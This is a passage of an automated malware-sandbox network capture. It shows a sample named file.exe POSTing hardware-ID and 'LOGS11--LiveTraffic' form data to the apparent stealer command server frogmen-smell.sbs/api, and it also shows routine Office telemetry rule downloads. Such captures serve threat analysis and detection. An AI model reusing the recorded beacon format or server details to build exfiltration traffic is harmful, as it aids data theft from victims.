2024-11-14 16:24:23 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3Q2IJRXRITEKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: frogmen-smell.sbs
2024-11-14 16:24:23 UTC	12835	OUT	Data Raw: 2d 2d 33 51 32 49 4a 52 58 52 49 54 45 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 45 35 33 30 34 45 44 37 32 35 39 45 33 36 45 38 45 30 42 45 41 31 34 45 35 33 34 33 37 38 0d 0a 2d 2d 33 51 32 49 4a 52 58 52 49 54 45 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 33 51 32 49 4a 52 58 52 49 54 45 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 33 51 32 49 4a Data Ascii: --3Q2IJRXRITEKJContent-Disposition: form-data; name="hwid"E7E5304ED7259E36E8E0BEA14E534378--3Q2IJRXRITEKJContent-Disposition: form-data; name="pid"2--3Q2IJRXRITEKJContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--3Q2IJ
2024-11-14 16:24:24 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1v8gmtshjtpm56mu199eo6g4on; expires=Mon, 10-Mar-2025 10:11:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QxpLVQNY%2F6BsLrMzQ65%2FC%2F24zBc0UuWI2ylgm76t5mM6Hk%2BxPn72cBSr8enVeZeOhDrC%2FFhXH96YOlwbH67z6z81PComSS7GEO6h4FQJ9fnEgSYJqHGhHiZEMedEfLbP52EStQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2859fb5a2a4796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&sent=6&recv=15&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13771&delivery_rate=1597352&cwnd=244&unsent_bytes=0&cid=680fd7c4e8a657ee&ts=725&x=0"
2024-11-14 16:24:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 0d 0a Data Ascii: 11ok 173.254.250.91
2024-11-14 16:24:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b3264f61-101e-0046-3a75-3591b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-r178fb8d765hbcjvhC1DFW50zc00000002ug000000006s39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 216c61d6-701e-001e-69a0-34f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-r178fb8d765mr9nqhC1DFWs8m800000000z000000000kutd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:24 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:24 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e5a1bf30-b01e-005c-3c12-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-1749fc9bdbdgs9sshC1DFWt6ws00000002ug00000000m4r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:24 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d6de3b9d-801e-00a0-7812-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-1749fc9bdbdnkwnnhC1DFWud0400000002qg00000000dr7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:24 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:24 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-16547b76f7fdtmzhhC1DFW6zhc00000007tg00000000b3en x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:24 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-16547b76f7fm7xw6hC1DFW5px40000000kr000000000trvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:25 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:24 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ec62ac56-d01e-002b-5482-3525fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162424Z-1749fc9bdbds4vwlhC1DFWz44000000002tg0000000027ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49762	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:24 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EQGS7OKAF312TZWM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15099 Host: frogmen-smell.sbs
2024-11-14 16:24:24 UTC	15099	OUT	Data Raw: 2d 2d 45 51 47 53 37 4f 4b 41 46 33 31 32 54 5a 57 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 45 35 33 30 34 45 44 37 32 35 39 45 33 36 45 38 45 30 42 45 41 31 34 45 35 33 34 33 37 38 0d 0a 2d 2d 45 51 47 53 37 4f 4b 41 46 33 31 32 54 5a 57 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 51 47 53 37 4f 4b 41 46 33 31 32 54 5a 57 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --EQGS7OKAF312TZWMContent-Disposition: form-data; name="hwid"E7E5304ED7259E36E8E0BEA14E534378--EQGS7OKAF312TZWMContent-Disposition: form-data; name="pid"2--EQGS7OKAF312TZWMContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-14 16:24:25 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8s4o48hdhcqmjl53p9vtg8tpai; expires=Mon, 10-Mar-2025 10:11:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4afl8dXKirv%2FZe34hcvB9qdKQd%2FVdYSYJL4N1FLV6zKYlw%2BAildH5K%2BO7%2FkJRLGNJ7bC4MFWp5ISk3X5BH2EWpiBLc5N0F6Ad%2BgIScqV2WPf%2By9GF3ZUjW1JqksWDmWSt2VWCg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e285a049d8e479d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2051&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16038&delivery_rate=1432245&cwnd=241&unsent_bytes=0&cid=4e95907bc8e597fa&ts=715&x=0"
2024-11-14 16:24:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 31 0d 0a Data Ascii: 11ok 173.254.250.91
2024-11-14 16:24:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162425Z-16547b76f7fkj7j4hC1DFW0a9g0000000kz00000000004xv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:25 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162425Z-16547b76f7f22sh5hC1DFWyb4w0000000kw0000000004geu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U 